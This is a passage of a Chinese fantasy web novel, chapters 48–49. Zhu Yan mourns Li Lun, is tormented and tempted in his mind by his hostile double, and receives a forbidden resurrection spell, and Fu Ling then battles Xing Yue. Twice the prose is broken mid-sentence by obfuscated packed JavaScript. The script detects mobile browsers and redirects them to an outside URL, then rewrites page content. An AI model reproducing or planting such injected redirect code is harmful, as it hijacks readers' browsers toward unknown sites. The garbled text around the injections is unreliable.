一眼望去的大荒禁地里,白雾弥漫,万物枯荣,花草凋零,建木神树早已枯萎,而一旁的白泽神河,也早就发黑。 看到眼前骤然一变的场景,如此诡异又骇人。可此时的朱厌,早就没了想去探究的心思。 但凡朱厌仔细一瞧,便能察觉出这禁地的端倪。 枯萎的神树却隐约泛着金光,发黑的神河却停止了流动。 这根本就不是真正的大荒禁地,而是藏在百妖怪山海图里,诸多槐谷禁地中的一处。 朱厌瞧着眼前的一切,眸光一动,神情有些萎靡不振。 在大荒,没有什么是奇怪的。 真真假假,虚虚实实,镜花水月,梦就梦吧,无所谓了... 朱厌走了进去,一阵刺骨的寒风吹过,刮得朱厌的脸格外生疼,让他不由紧了紧身上的狐裘。 下一秒,他的脸就皮开肉绽,流下了一抹鲜血。脸上被他刻意隐藏起来的暗红妖纹,也被迫露了出来。 朱厌眼中一沉,自是看出了些许不对劲,但也没有做过多乱想。 “朱厌,人世荒凉,庄周迷梦,我早就跟你说过了,只当大梦一场,醒时光明,这样不好吗?” 突如其来的声音,倒是让朱厌一愣,停下了往前走的步伐:“冉遗?” 可是,回复他的,只有耳边呼啸而过的刺骨寒风和空无一人的孤寂万物。 朱厌走到了枯萎的建木神树下,神树前那一块黯淡无光的白泽神碑上,还依稀可见残留在上头略微发黑的干涸血迹。 那是离仑跟他曾经在此歃血为盟所流下的血。 曾经的他跟他,在建木神树的见证下,立下过山盟海誓,许下过永世相伴,以身结契,两心共生。 朱厌的手,抚摸着上面早已发黑干涸的血迹,心里顿时五味杂陈起来。 神碑很冷,掌心很凉,可却不及朱厌内心的寒,来得凶猛。 恍惚之间,光影错乱,时光倒流,朱厌好似又听到了那阵熟悉的鼓声,由远及近。还有那道熟悉的人影,常伴左右。 隐约泛着金光的建木神树,突然缓缓飘落下一枚同样泛着鎏金光辉的枯叶。 枯叶落地,化作熟悉的身影。 朱厌放在神碑上那只冰凉的手,被一只更大的手轻轻握住,掌心传来的温热,灼得朱厌身躯一颤。 “是离仑...”朱厌顺着这只温热的大手向上望去,在看到那张棱角分明的面容时,嘴角露出一抹苦涩的淡笑,“离仑,我好难过...我是又忘记了什么吗?我一点都不记得了...” 寒风微吹,发丝相缠,两人对视,四目交流,千言万语,思念涌上心头。 离仑忽而伸手,将朱厌被寒风吹得微乱的发丝,捋到耳后,淡淡一说:“阿厌,有些事,记得却不如忘了。” 谁料,这一次的朱厌,当他又再次听到这句话时,顿时脸色一变,伸手将离仑的手用力推开,颇为生气—— “我已经听腻了你这句话,也不想再听到你说这句话了!我该忘什么,该记什么,都轮不到你替我做主!你又凭什么替我擅自做决定!” 朱厌很生气,气到整个人都微微发抖,更是生气到有些口不择言了。 可是,站在他对面的离仑,听到这叱责的话依旧毫无反应,只是嘴里一直不断重复这句话。 “阿厌,有些事,记得却不如忘了。” “阿厌,有些事,记得却不如忘了。” ... 朱厌一看,更生气了!直接被对面人气哭了,朝他吼着:“你给我滚!” 站在他眼前的‘离仑’,不过是离仑在几万年前就提前留存在这里的寄话槐叶。 这片枯叶,化作他的样子,将他想同朱厌说的话带到了,朱厌也听到了,这片寄话槐叶的使命也完成了,自然也该是时候,消失了。 寄话槐叶消散,‘离仑’幻象也随之消失。 朱厌嘴上是说着让离仑滚出他视线的恶言恶语,可真亲眼见到这片寄话槐叶化作的幻象消散之时,又顿时惊慌失措起来。 朱厌跌跌撞撞追着逐渐消散的寄话槐叶,脸上满是害怕之色:“离...离仑...不要这样...离仑...” 朱厌感觉自己,真的快要疯了。 “离仑...为什么会怎样...我们...到底为什么会变成这个样子...” 48.死生之术 当寄话槐叶彻底消散,这一处藏在百妖山海图内的禁地,又恢复了原本万物枯荣,凋零孤寂的样子。 眼前这一棵,原本泛着微弱金光的建木神树,顿时光斑消退,枯萎得更厉害了。 朱厌一瞧,脸上的泪,流得更猛了,小声抽泣,但更多的还是难以言喻的难过:“离仑,你这个大骗子...你答应过我,要陪我生生世世的...你回来...好不好...” 朱厌的心口,忽然泛起一股刺痛,好似有人,用着千万根银针,疯狂扎着这抹脆弱的血肉,疼得他连站都站不稳了,连忙扶住一旁枯萎的建木神树,才勉强站得住。 只见朱厌大口大口喘着气,原本正常的脸色也变得格外苍白,冷汗顺着他散落的发丝,不停滴落在地。 那一枚本该沉寂着的眉心妖印又以肉眼可见的速度,露了出来。 上面那三道开裂的印痕,正往外冒着淡淡的蓝光。 “朱厌——” 一道混沌的声音从不知名的地方传来,传入了朱厌的耳中。 是戾气。 心口正疼得两眼发黑的朱厌,此时根本就分不开心思与他对峙,只是弱弱冲他小声喊了一句:“闭...闭嘴...” 谁知道,戾气突然狂笑起来,从朱厌疼得他直冒冷汗的心口之中,缓缓钻出,落地化人。 那张跟朱厌长得一模一样的脸,却布满了令人不寒而栗的神情。 一道黑影挡住了自己的视线,朱厌才刚抬头,就被戾气朱厌伸手掐住了脖子,整个人被他直接压扣到了那棵枯萎的建木神树上。 “嗯...”朱厌的后背毫无预警地直接撞在神树的树身上,突如其来的力道大到让他顿时眼冒金星,发出一声难受的痛闷声,“...松...松开...” “松开?若我不松呢?”戾气朱厌轻嗤一笑,脸上更是露出一个恨得咬牙切齿的表情,眼里夹杂了些许癫狂,又有些稚幼,歪着头,满脸天真问着朱厌,“很痛吗?还有更痛的呢...朱——厌——” “你...”朱厌被戾气朱厌掐着脖子,尝试着发声却发不出。 朱厌这时候才有些后知后觉,他体内戾气的力量,好似隐隐有超过他的趋势... 究竟是从什么时候开始的呢? 难道是他的错觉吗... 再下去,很有可能他真的会被戾气反噬而夺走身体的... “朱厌...”戾气朱厌忽而俯身靠近,在距离朱厌仅有一指之距的鼻尖前停下,“你是不是想知道...” 可是说着说则他又突然停下,歪着脑袋,嘴角挂着看似天真无邪的笑,同他俏皮一说,“为何...我已经能如此自由自在的...从你体内跑出且化为人形呢...” “朱厌,我知道你想要什么...”戾气朱厌低吟的嗓音在他耳边不断环绕着,试图扰乱掉朱厌的思绪,“不如,我来帮帮你看清楚...你到底...想要的是...什么...” 戾气朱厌发出一声尖锐的冷笑,又不疾不徐地朝朱厌的双眼,吹了一口浓浓的红雾。 戾气化作的红雾,刚沾染到朱厌双眼的那一刻,朱厌整个人就像是丢了三魂七魄似的,目光开始变得开始些许涣散,甚至是不受控地微微失神起来。 朱厌的神识,跟随着戾气,被他强行牵着走,不知道带到哪里去。 等朱厌回过神时,眼前依旧是他熟悉到不能再熟悉的地方,是槐江谷小居。 戾气的声音从他的身后幽幽再次传来:“朱厌,你看看眼前的这些...你想要的,我可以帮你。” “你看...”戾气朱厌只保持了上半身人形状态,而他的下半身则是化作一股黑红交织的血雾,整个人不断圈绕在朱厌四周,“就像这些...” 朱厌顺着他的手望去,只见记忆中本该是冷清寂寥的槐江谷小居庭院内,此刻竟颇为热闹。 一道白色身影坐在窗边,独自饮着酒,而他的一旁,小远处还有好几个人。 看着满院的热闹,朱厌有些许恍惚。 这个槐江谷小居里,不仅有离仑,有白玖,还有英磊,英招,茯苓跟另外一个白衣男子。 朱厌瞧了一眼那白衣男子,还没开口,就听到他俏皮一喊:“朱厌大人,你怎么才来呀?我们大伙都等你好久了。” 朱厌被这白衣男子拉了过去,还没走几步,一旁的白玖就冲到他跟前,小脸凶凶地冲那白衣男子一唤:“琉璃!你又要把我娘亲带去哪里?你不去找你的伽罗,一整天都霸占着我娘做什么呢!” 白玖一脸不甘,伸手把朱厌拉了过去,笑着对他说:“娘亲,你怎么才来呀...阿玖跟爹爹哥哥,都好想你呢...” 朱厌有些懵然,感觉自己听不太明白白玖说的话为何意。 白玖说的‘哥哥’是谁?什么哥哥? 戾气飘到朱厌身后,在他耳边小声低吟着:“朱厌...这些...你喜欢吗...” 可不等朱厌开口回话,戾气朱厌又自行嘀咕起来:“不喜欢吗...没关系,还有呢,别急...” 戾气化作云烟消失了,身后的琉璃还在原地大声叫嚷着,朱厌被白玖拉着一直往前小跑着。 跑着跑着,前方突然出现一堵高墙。 朱厌想要停下步伐,可白玖年龄虽小但力气却大得惊人,朱厌整个人被他拼命拽着只能跟在他身后。 朱厌下意识伸手一挡,耳边传来一阵奇怪的声音。 再度睁眼之时,拉着他的白玖,早就不见了。眼前也不再是他熟悉的槐江谷小居,而是一座地牢。 晦暗不清的昏黄烛光轻轻摇曳着,耳边时不时传来一声高过一声的哀嚎,更有若隐若现的血腥气不断涌入鼻腔,使得朱厌难受得当下就皱起双眉。 一阵脚步声在他身后响起,朱厌下意识转身一望,还未来得及开口说话就被对面先行厉声喝住他,又凶又大的声音吓得他身子一抖,当下什么话都说不出了。 “朱厌...你竟愿意为了他们,做到这一步...”赶来的离仑满脸怒意,厉声呵斥着朱厌,“朱厌...你一意孤行,最终只会万劫不复...” 离仑很生气,生气到只愿意喊朱厌的全名。 “而我...”离仑努力克制着怒气,但还是难以压制住,“也不会再救你了,你好自为之。” 离仑丢下这句话后,连头都不回,就直接独自一人,离开了这座地牢。 “离仑...”朱厌欲言又止,可离去的人终究还是没有听到他后面说的话,“...别走...留下来...好不好...” 他还有好多话要跟离仑说,可是,最终也是一个字都没有说出口。 朱厌的头,又开始疼起来了,不仅头疼得要裂开,就连心脏也疼得让他快喘不过气来,疼得他整个人站也站不住,只能蹲在原地,拼命地大口大口喘着气。 上一秒还缠绕在耳边的哀嚎声忽然不见了,晦暗不清的地牢也消失了。 漫天大雪从天而落,雪花沾在了朱厌脸上,才把他冷得一醒。 半空之中,白猿正在疯狂挣扎与嘶鸣。那悲鸣的嘶吼令人一听,就能感同身受到它此刻的绝望与痛苦。 朱厌抬起脸,震惊的眼瞳里倒映着白猿的身影,目不转睛地盯着自己的法相。 本该是雪白无暇的白猿,此刻却被数不清的红气和黑雾紧紧缠绕着。 在场过于浓郁的血腥味,直冲人天灵盖,直叫人头痛欲裂,难受得忍不住当场作呕起来。 黑色的是恶灵,红色的是戾气,黑红相交的,是白猿渗出来的血。 那些诡异的血雾一些捆缠住白猿法相,让它逃不了又动不了。 一些血雾幻化作无数把锋利刀刃,不停来来回回,从各个角度穿刺着白猿,白刀进,红刀出。 没一会,被绑住的白猿法相,一身都是血淋淋的伤口。 法相重伤,主人只会伤上加伤。 可是,朱厌环顾了四周好多次,满地除了血就是雪,一个人影都没有。 他...并没有看到自己的身影... 朱厌双指交叉抵于唇边,对着法相,幽幽念出一字诀:“收。” 他想强制收回自己的法相,可是一字诀并没有用。 飘浮在半空依旧被折磨得异常痛苦的白猿法相,并没有回到他体内。 朱厌有些惶恐,一种脱离掌控的不安在心里蔓延:“不对!不对!为什么会这样...” “是不是...”混沌的熟悉嗓音再度传入耳,打断了朱厌错乱的思绪,“很有意思...” 朱厌眼中沾染到的红雾,逐一消散。 那双失神的红瞳眼里,开始微微聚焦。待到他彻底回神,才发现早就不在那一处大荒禁地里,而是到了槐谷小居后山的桃花山洞。 眼前跟桃花山洞一模一样的地方,实则是朱厌的识海。 朱厌一下子就察觉到不对劲了! 当他踏入这里的那一刻,他的妖力好像被一股不知名的力量给强行压制住了。而这股力量隐隐约约之中,与他相生相克着。而他的妖力,在这里也使不出来了。 “朱厌...”戾气朱厌整个人瘫躺在一块青苔礁石,只瞧他单手撑额,另一手则化出锋利的利指,在身下那块礁石上来回划拉着,语气有些懒散,“本来还想继续跟你玩的...可是...我有点腻了...你说,怎么办呢?” 躺卧在礁石上的戾气朱厌,一身红衫,衣衫大开,春光外泄,面带魅红,微勾上扬的眼尾带着难掩的俏皮笑意。 “冉遗不是早就跟你说过了吗...选择沉溺在梦境里的人,大多都是想要逃避...” “你看,我随便捏一个你想要的梦,就又把你哄进来了...” “你次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648435|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次都被骗啊,弄得我都觉得无趣极了...好没意思呀...”戾气朱厌划拉的利指顺着他的话也停了下,那双看似装满笑意的桃花眼,实则里头一片冷。 “我腻了。”戾气朱厌抬起的眼,不经意压了那么一下,敛起瞳中的笑,与方才简直是判若两人,“也没时间陪你玩了。” 他忽而起身,衣袖一挥,眼前的桃花山洞也随着消失,露出了真正的模样。 上空的白昼,开始以肉眼可见的消褪为黑夜。四周茂密翠绿的竹林沦为猩红的血海戾雾,鲜嫩粉艳的遍野桃花化为滚烫的烈火深渊。 禁锢着戾气的蓝金结界上,涌动着一层又一层若隐若现的橘金光辉,是离仑的槐鬼之力。 “朱厌,看到了吧...”戾气朱厌突然疯狂朝着朱厌怒吼起来,“这就是他为我打造的牢笼...” 他话才刚说完,一股炙热的热气直冲朱厌脸上,让他难受得挥袖一挡。 “朱厌,我一个人就这样在这个牢笼里呆了一千万零九十五万天...”戾气朱厌一脸悲伤,却又在下一秒换上悲愤,“一千多万天,三万年多年呢...” “你懂这种滋味吗?”戾气朱厌一把冲到朱厌跟前,伸手掐上他的脖子,“不——” “你根本不懂!因为一出事,你只会躲起来!一出事,你就把我推出来!”戾气朱厌越说越愤怒,连带着掐着朱厌脖子的手也在不自觉中收紧了几分。 “...你...松...松开我...”朱厌试图掰开戾气掐着自己的手,却发现连一点力气都没有。 “没用的,朱厌...”戾气朱厌狂笑起来,“这里有他的禁锢...你的妖力在这里使不出来的...” 戾气朱厌抬起那双发红的眼,上下来回打量着头上他这个庞大又坚固的牢笼。 三万多年来,他试过逃跑,可是,还是逃不出,逃不远。 他就算是勉强逃了出去,哪怕像这次侥幸逃了出去,哪怕他利用乘黄的魑魅沙漏强行闯入了已经崩塌的槐谷禁地里,最后还是会被这牢笼的封印给抓了回来。 戾气朱厌泛红的眼里染上浓郁的杀意,手不断收紧,利指划破朱厌脖子的皮肤,渗出的血顺着指尖往下滑。 朱厌眉心那枚幽蓝妖印开始泛出微弱蓝光,戾气朱厌掐着朱厌的手,开始像是接触到滚烫岩浆般,灼烫,刺痛。 戾气朱厌瞧见这道蓝印,更恨了,更气了。 事到如今,他还是选择护着他... 戾气朱厌眼眸一沉,内心的杀戮瞬间膨胀起来。 真想杀了朱厌... 可是,杀了他,就失去了承载他的容器。 容器死亡,一具尸首,他也没办法抢走他的身体。即便抢走了,也不过是行尸走肉罢了。 戾气朱厌松开了手,将被朱厌眉间那道妖印灼伤的手,往宽大的衣袖里,藏了又藏。 被紧紧挟制住的朱厌,整个人瞬间跌落在地,手捂住流血的脖子,拼命地咳个不停。 戾气朱厌转身,又跟一开始一样,卧躺在那块大石头上,伸出的左手上跳出一抹浮动的红光符箓。 他挥手一甩,红光符箓飘到了朱厌眼前,变成好几行上古文字。 “上古记载,妖丹为引,心血为脉,可招魂结魄。”戾气朱厌懒洋洋说道,“喏,给你。这便是你心心念念想要寻的‘死生之术’。” 朱厌瞬间警惕起来,反之一问:“你为何有这‘上古禁术’?” 戾气朱厌像是回想起了什么,脸上刻意装出来的悠闲和无聊,也藏不住他不慎露出的伤感。 这玩意,当初还是跟离仑一起寻到的。 那时,离仑陪着朱厌去游玩人间的时候,他们先是寻到了那具有储存记忆,时间止息的日晷法器。 后来,朱厌和离仑在回来的途中,路经南海鲛人一族的圣湖,便意外寻到了死生之术。 这死生之术,还是朱厌自己封存起来。 他不仅忘了离仑,忘了白玖,忘了白槐,忘了一切的一切,忘了真相。 朱厌也忘了被他自己封存起来的上古禁术,甚至还为了寻到此术而不断奔波,真是可笑至极了! “救离仑的方法,我已经给你了...”戾气朱厌感觉自己有些累了,一点都不想跟朱厌再玩下去了,像突然闹起脾气的小孩子,颓废一说,“用不用,随便你。” “可是,你只有一次机会。信不信,也由你。我腻了,也烦了,你滚吧——” 戾气朱厌伸手一挥,直接将朱厌给赶出了识海。 藏在识海里,眼前这个偌大的牢笼里,又只剩下戾气朱厌一人,从始至终,陪着他的,只有血海戾雾跟烈火深渊... 戾气朱厌躺在礁石上,望着头顶不停涌动着却若隐若现的槐鬼之力,喃喃自语着:“接下来...老不死的东西...那就让我来看看你的本事吧...” 49.戾气娃娃 “牢笼的血印...”戾气朱厌那双猩红的眼,盯着上空那一层若隐若现的血印,摸了摸自己的心口,若有所思一言,“好像又减弱了...” 朱厌识海里,囚禁着戾气的这一处牢笼,是离仑以建木神树祝福的誓契为阵眼,融合了自己的槐鬼之力,格外独立隔开的牢笼。 当初为了朱厌,离仑不惜活生生剥离了自己一半槐鬼之力,也要衍造出这一座铜墙铁壁的囚禁牢笼。 这座牢笼的上头顶处,实则还有一层透明的镇压血印。 这一层血印,离仑还在世的时候,固若金汤,不可攻也。 可自从离仑死去后,这一层血印,开始隐隐失灵,甚至出现了偶有失效之隙,戾气才寻得一丝机会逃离了出去。 离仑不仅用这座牢笼,还有这一层血印镇压和囚困了戾气,还在他体内下了克制他行动的蛊虫。 这心头蛊虫与这牢笼的血印连在一起,这也是为什么他逃不出也逃不远的原因。 “好一个...心头蛊...牢笼印...”戾气朱厌一边说着一边露出一个苦笑,像似自嘲,像似无奈。 戾气朱厌抬头,朝自己的右上方的远处望去,那一朵本该璨光耀眼的心莲,早已枯萎多时。 原本干枯的心莲花瓣早就留不住,全都掉落不见,只剩下一个枯萎发黑的莲蕊。 如今,连着这干枯的残蕊,也似有消散之向。 “朱厌...”戾气朱厌眼中涌起复杂的神色,看着那枯萎发黑的莲蕊,只是幽幽一说,“你再不快些...可就真的救不回他了...” 戾气朱厌收回了自己的眼光,赶走了碍自己眼的朱厌,再次又回到了这无比熟悉的牢笼里,他早就习惯了。 坐在被滚烫的烈火焰浆和腥臊冲鼻的血海戾雾包围着的礁石上,迎面而来的热浪与血气,直往戾气朱厌脸上冲去,可他却一幅熟视无睹,见怪不怪的模样。 戾气朱厌单手一挥,一抹红色的戾气自他指尖涌出,幻变成一只巴掌大小的小白猿。 戾气化作小小白猿,亲昵地蹭了蹭戾气朱厌的手后,竟然变成了一个如玉粉团子。 戾气朱厌一瞧,那双狠戾凶残的眼里顿时一柔,小心翼翼又轻车熟路似的,将它抱在自己怀里。 害怕小东西待会哭闹,戾气朱厌还用戾气变出了很多孩童玩具,拿过其中一个精致的小拨浪鼓,朝着这婴孩摇了摇。 怀里的婴孩开心得顿时咿咿呀呀起来,看得戾气朱厌心头软得不得了。 其实,戾气朱厌自个知道,他怀里的婴孩,不仅不会哭闹,一举一动,一颦一笑,都不过是凭借着他的意志操控才得以活动着。 这不过,是他用戾气变出来哄骗自己的小傀儡,一个虚构的戾气娃娃而已。 “以前,也曾想过...”戾气朱厌伸手逗了逗怀里的小婴孩,“你若长大的模样,是会随谁多一些...” 被他抱在怀里的小婴孩,抬起懵懵懂懂的大眼睛,直勾勾盯着戾气朱厌看,像是被他逗得开心了,伸出小小的手,轻轻抓住了戾气朱厌的指尖。 戾气朱厌心头一颤,眼里透着一抹痛苦,嘴角无意露出一个又苦又涩的淡笑。 缓缓抬起的头,他的眉心中央,顿时涌出无数道红色的戾气,在他头顶正前方聚集在一起,变成一个个飘浮于半空的红色小球。 那是他的记忆雾球。 一个记忆雾球,代表着一段最为难忘的记忆。 一个又一个的记忆雾球忽然炸破,一段又一段记忆呼之欲出。 ... 一道颇为俏皮的少年声音,从里头传来。 一道白色身影兴高采烈小跑着进屋,在看到那道熟悉的身影后,少年直接一把扑进那人怀里。 离仑见状,连忙一把接住他:“慢些。何事能让你如此着急?” 少年年纪尚小,语气里满是藏不住的开心与愉悦,迫不及待抱住了离仑,笑着同他一说。 “阿离阿离,我们有崽崽了,是我跟你的小妖怪哦~” ... 正在院子里晒着太阳的朱厌,手里还拎着身旁人给他摘的新鲜桃子。 晒得一身暖烘烘的少年,有些昏昏欲睡,眼睛都快睁不开了还一直在努力睁着眼,连手上的桃子都快掉了也浑然不知。 离仑伸手接过从他手上滑落的桃子,用帕子帮他擦了擦手,小声一问:“怎么?又困了?” “没...”朱厌揉了揉犯困的眼,小埋在一旁人的肩上,脑袋一直不断打盹钓着鱼,嘴里还不忘嘀嘀咕咕着,“阿离...你...你说,我们...的小妖怪...是会像...像你多一点,还是...像我多一点呢...” 说到后面,朱厌的声音越来越小声,最后,干脆整个人直接靠在离仑的肩上,睡了过去。 一睡着,朱厌便不自觉往后倒去,倒是离仑知晓他的性情,先行眼疾手快接住了他。 拥着他的离仑,在他耳边轻声细语道:“我觉得...他肯定像你多一点...” “如若是随你...”离仑话语一顿,微勾的嘴角泛起一丝淡笑,盯着肩上睡过去的人,眼神颇为柔和,“那肯定是一只...闹人又可爱的小白猿...” 睡着的少年,并没有听到他这番话。 “我还给他...准备了很多小东西呢...” 离仑伸手,替他挡了挡头上的太阳,将他拥得更紧了。 ... 戾气朱厌一听这话,原本正哄拍着怀里小婴孩的手,骤然一顿,微闪的眸光逐渐爬上一抹痛色。 瞧着怀里睡着的小娃娃,戾气朱厌痛苦出声:“离仑...你猜对了...他就是一只小白猿呢...” 怀里被他抱着的婴孩,不哭也不恼,只是乖乖的睡着,就像一个没有生气但又精致无比的傀儡木偶。 记忆雾球所呈现的东西,这些属于朱厌又属于他自己的记忆,戾气朱厌早就看过成百上千次了,也对内容早就了如指掌。 可不管他看过了多少次,每次一听到离仑的这句话,他总会心如刀割。 离仑给小豆芽准备的那些东西,他知道。 离仑对朱厌做过的那些事情,他也知道。 朱厌记得的,不记得的,快乐的,痛苦的,所有的记忆,他统统都知道。 朱厌是他,可又不是他。他既是朱厌,可又不是朱厌。 所以,他痛恨一切,恨朱厌足够自私,足够卑鄙的选择忘记一切。而他却只能被迫囚在这里,躲在这一处阴暗角落里,无限循环,守着过去早已消逝的一切。 于是,在过去,在这里,被困在这里的几万年里,无所事事的戾气朱厌,数着对朱厌的恨,也数着对离仑的恨,度日如年地过了一天又一天。 他最痛恨撒谎之人,可是他最爱的离仑,也骗了他。 当初离仑明明同他承诺过,只要他乖乖听话,他没事就会来这里陪着自己。 可结果呢? 结果就是,从他被关进这里的第一次起,离仑就不曾来过一次。 离仑又骗他!他讨厌离仑! 戾气朱厌曾经也试过强闯这囚禁他的牢笼,可因为离仑一直都呆在朱厌身边,他根本就没有机会可以逃出去... 看着怀里睡过去的粉玉团子,戾气朱厌的眼里深处涌起一阵强烈的恨意,难过又愤怒:“当初如果不是朱厌一意孤行...你根本就不会命丧他手...” “朱厌朱厌!还是朱厌!” 戾气突然发狂起来,怀里的小婴孩重新化为戾气汇入他的体内,他手一挥,远处上空那漂浮着的记忆雾球,瞬间全都被他炸了个一干二净! 他气得身子直抖,衣衫大开露出的胸膛更是因气地直喘气而上下起伏着。 胸膛下跳动着的心脏,终究又再一次隐隐作疼起来。 戾气朱厌瞬间白了脸色,冷汗直冒,后背更是一片濡湿,站不稳的身体迫使他伸手死撑在身后那块礁石上。 晕眩眼黑稍微缓过些许,戾气朱厌再度睁开的双眼里,泛起一股死寂的释然。 “该死的...藏在心脏内的那只蛊...开始苏醒了...” 一抹猩红从他嘴角流下,他抬起手背,有些自暴自弃似的,略微粗鲁擦掉嘴角的血。那双暗得发沉的红瞳,藏不住的恨与怒,呼之欲出。 ... 大荒与外界之间,有着十分坚固且繁琐的多层结界。 一道身手矫健的身影快速跃动着,速度快到只剩下一抹残影。 在这抹残影即将踏入大荒的第一道结界前,一道七彩光箭从天而降,直接阻止了残影的前进步伐。 正着急赶回去复命的茯苓,被迫停下脚步,眉眼一厉,大声一喝:“谁!” 深插入地的七彩光箭被莫名拔起,消失不见。紧接着,一道身形婀娜的人影,也随之出现在此处。 站在茯苓对面的人,转过身来的那张脸,眉眼如霜,雪肤乌发。 那张美得不似常人的脸上,此刻正面无表情。而望着茯苓的那双瞳色,浅淡得如同寒冬薄雾的眼眸,此时正冷眼相望着她。 “好久不见...”一道冷冷淡淡的声音,缓缓从她口中溢出,带着一丝慵懒,又夹了一抹冷淡,“茯苓——妖君——” 茯苓一听,不由嗤鼻轻笑,本就因看到来人而大为不爽的脸上闪过一抹连藏都不愿意藏的不耐烦:“好久不见啊...青叶...” “哦不...我应该称呼你为——” “星月——”茯苓提到这个名字的时候,有些咬牙切齿,脸色更是格外地难看与不友善,“神君——” “这么久没见,你还是跟以前...”星月看似无意瞥了一眼茯苓的手臂,望着她的眼里,蓄满了复杂之色,“一样...为了他,连命都不要了...” 茯苓冷眼对视,颇为不耐的脸,从对面人出现在她视野里的那一刻起就没给过对方好脸色,语气更是充满了轻蔑之意:“你也跟以前一样...卑鄙无耻...” 星月自是知晓茯苓对她的嘲讽,不自觉收紧了手中握住的神弓,脸色不变,嘴上也只是淡淡一驳:“不过是各为各主,何来卑鄙无耻一说。” “我们高高在上的神君大人...” 茯苓嘴上说着客套的话语,可唇边却露出一个狠戾的笑,连带着唇上的那一滴红血妖纹都添了几分妖媚之色,可是那双琉璃色的眼瞳里却依旧一片寒冷。 “不在九重神域呆着,来我们这大荒,所为何事呢?” 星月微抬对视而望的眼眸,依旧眼神淡淡的:“你应该比谁都清楚,我今日来此的真正目的吧...” “你敢动他,我便...”茯苓空着的手,凭空而现一把白银长弓,眼里闪过一抹杀意,嘴角噙着一抹戾笑,“...杀你!” 只瞧她指尖一绕,无形的空气在她手里变成熊熊火焰,烈焰化箭,云火一射,三箭齐发,朝着对面人,毫不客气射去—— “茯苓!”星月一瞧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671623|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸色肉眼可见难看起来,顿时厉声一喝,“你疯了!你敢动用云火弓,不要命了!” 星月一个跃足翻转,直接躲开云火弓的三发焰箭。 茯苓手里的云火弓和星月的星月弓,本就是一对的命格法器。 星月弓是融合了茯苓的精魄炼化的,而云火弓则融合了星月的神识锻造而成的。 这两把结过契,入过血,赠予彼此的长弓,注定不能互相伤害,更不会伤害彼此的主人,只能是守护与庇佑。 强行逆转长弓互伤的后果,便是攻击方将遭到前所未有的反噬。 被茯苓强行握住用来攻击星月的云火弓,弓身不断嘶鸣震响着,引得对面星月手中的星月弓也随之共鸣一响。 被星月藏起来的星月弓,再次从她袖中飞到半空。 京墨黝黑的长弓,不断发出刺耳的弓鸣。茯苓手里的云火弓听到后,鸣响得更大声了。 茯苓刚想拉弓化箭,可手中的云火弓彻底失了控,丝毫不肯由她张弓。 茯苓瞥了一眼手中还在不断嘶鸣震响的长弓,惹得她顿时一怒,朝弓一吼:“叛徒!” 云火长弓被她如此一吼,弓身不由一抖,挣扎得更厉害了。 茯苓眼色一沉,收起了云火弓,纵身一跃,朝着星月所在方向冲去。 茯苓直接近身搏斗,每一招每一式都是往死里杀星月,丝毫不留情。 星月冷着脸,并不想伤她,反而处处躲让,只守不攻。 “怎么?神君大人心疼了?”茯苓见状,嘴角轻蔑的笑意更浓了,连说出的话也更刺了,“抑或是...舍不得了?” 星月挡下茯苓的攻击,又借势而翻,直接将茯苓一把扣在怀里。 “你明知道我不会对你出手的。”星月瞧她脸上那藏也藏不住的怒气,放轻自己的声音,意图抚平她的些许怒意。 当温热的气息擦过耳边的那一刻,茯苓身子失控一愣。 就在她发愣的这一秒里,星月手里滑出一条捆妖索,想将茯苓绑走。 茯苓眉眼一厉,抬手反击,一翻一跃,重新落地,夺回主动权。 微勾的嘴角彻底藏不住茯苓上扬的疯意,漂亮的眼睛敛不住她兴奋的杀意。 “想绑我?得看看你有没有足够的本事!”茯苓微张红唇,咬破指尖,再次召唤出云火弓,不惜以血化箭也要开弓搭箭,颇有鱼死网破之意。 “疯子!”星月眼神一凛,双眉紧皱,脸色格外难看,“你为了他,真的连命都不要了吗?!” “疯?我就当作是星月神君在夸奖我了。我们王说了,‘有些事,记得,却不如忘了’。神君若是还念念不忘前尘旧事,小心——”茯苓眼色一暗,冲星月歪头俏皮一笑,松手开箭,“会死无葬身之地哦~” 话还没完全说完,茯苓的血箭就已经直击星月而去。可星月也没有再躲闪,只是站在原地,活生生承了她这一箭。 血箭穿肩而过,黑蓝相间的衣服被滚烫的猩红洇湿,一抹红从星月嘴角淌下,却被她一把抹走。 而对面的茯苓,嘴角也流下了血。 可她却露出一个毫不在乎的神情,指尖抹了自个嘴角的血渍,伸出猩红的舌尖,倒是轻轻舔了一下指尖上的血。 “你该明白,就算不是我,也会有其他人前来。”星月的语气比先前更冷了,带着神族高高在上的强势,“他,是跑不掉的。” “那你也该明白,你们尽管试试看,看看能不能动他半分。” 茯苓嘴角带血,轻佻一笑,翻身一跃,一脸恣意,坐在半浮于空中的云火弓上,悠闲晃着双腿。修长直挺的大长腿在一晃一动中,从轻纱薄衫里露出一抹白皙,甚是勾人。 饶是对面的星月,瞧见了薄衫下的那一抹白皙,眼神不由一暗。 手一挥,一件黑衫骤然出现,从茯苓脑袋,由上往下盖了个紧实。然后,一个转身,消失在大荒。 茯苓伸手扯下盖住自己的黑衫,望着星月离去的方向,紧了紧攥着黑衫的手。 被发现了,得快些了... 收回眼神后,茯苓连忙进入大荒的结界,直冲槐江谷。 